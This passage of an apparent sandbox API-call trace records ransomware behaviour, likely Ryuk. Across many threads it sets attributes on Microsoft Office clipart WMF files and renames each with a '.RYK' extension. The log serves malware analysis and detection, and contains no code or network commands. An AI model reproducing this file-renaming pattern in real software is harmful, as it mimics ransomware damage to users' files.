	[0217.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF", dwFileAttributes=0x80) returned 0
	[0217.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2316
	os_tid = 0x2998

	[0217.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF", dwFileAttributes=0x80) returned 0
	[0217.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2317
	os_tid = 0x299c

	[0217.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", dwFileAttributes=0x80) returned 0
	[0217.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2318
	os_tid = 0x29a0

	[0217.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", dwFileAttributes=0x80) returned 0
	[0217.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2319
	os_tid = 0x29a4

	[0217.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF", dwFileAttributes=0x80) returned 0
	[0217.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2320
	os_tid = 0x29a8

	[0217.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF", dwFileAttributes=0x80) returned 0
	[0217.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2321
	os_tid = 0x29ac

	[0217.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF", dwFileAttributes=0x80) returned 0
	[0217.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2322
	os_tid = 0x29b0

	[0217.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF", dwFileAttributes=0x80) returned 0
	[0217.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2323
	os_tid = 0x29b4

	[0217.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF", dwFileAttributes=0x80) returned 0
	[0217.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2324
	os_tid = 0x29b8

	[0217.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF", dwFileAttributes=0x80) returned 0
	[0218.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2344
	os_tid = 0x2a0c

	[0217.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF", dwFileAttributes=0x80) returned 0
	[0218.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2345
	os_tid = 0x2a10

	[0217.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF", dwFileAttributes=0x80) returned 0
	[0217.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2346
	os_tid = 0x2a14

	[0217.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF", dwFileAttributes=0x80) returned 0
	[0218.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.140] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2347
	os_tid = 0x2a18

	[0217.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF", dwFileAttributes=0x80) returned 0
	[0218.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2348
	os_tid = 0x2a1c

	[0217.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF", dwFileAttributes=0x80) returned 0
	[0217.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2349
	os_tid = 0x2a20

	[0217.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF", dwFileAttributes=0x80) returned 0
	[0218.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2350
	os_tid = 0x2a24

	[0217.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF", dwFileAttributes=0x80) returned 0
	[0218.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.144] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2351
	os_tid = 0x2a28

	[0217.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF", dwFileAttributes=0x80) returned 0
	[0217.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2352
	os_tid = 0x2a2c

	[0218.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF", dwFileAttributes=0x80) returned 0
	[0218.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2368
	os_tid = 0x2a6c

	[0218.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF", dwFileAttributes=0x80) returned 0
	[0218.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2369
	os_tid = 0x2a70

	[0218.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF", dwFileAttributes=0x80) returned 0
	[0218.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2370
	os_tid = 0x2a74

	[0218.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF", dwFileAttributes=0x80) returned 0
	[0218.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.189] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2371
	os_tid = 0x2a78

	[0218.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF", dwFileAttributes=0x80) returned 0
	[0218.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.191] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2372
	os_tid = 0x2a7c

	[0218.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF", dwFileAttributes=0x80) returned 0
	[0218.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2373
	os_tid = 0x2a80

	[0218.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF", dwFileAttributes=0x80) returned 0
	[0218.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.202] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2374
	os_tid = 0x2a84

	[0218.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF", dwFileAttributes=0x80) returned 0
	[0218.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.203] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2375
	os_tid = 0x2a88

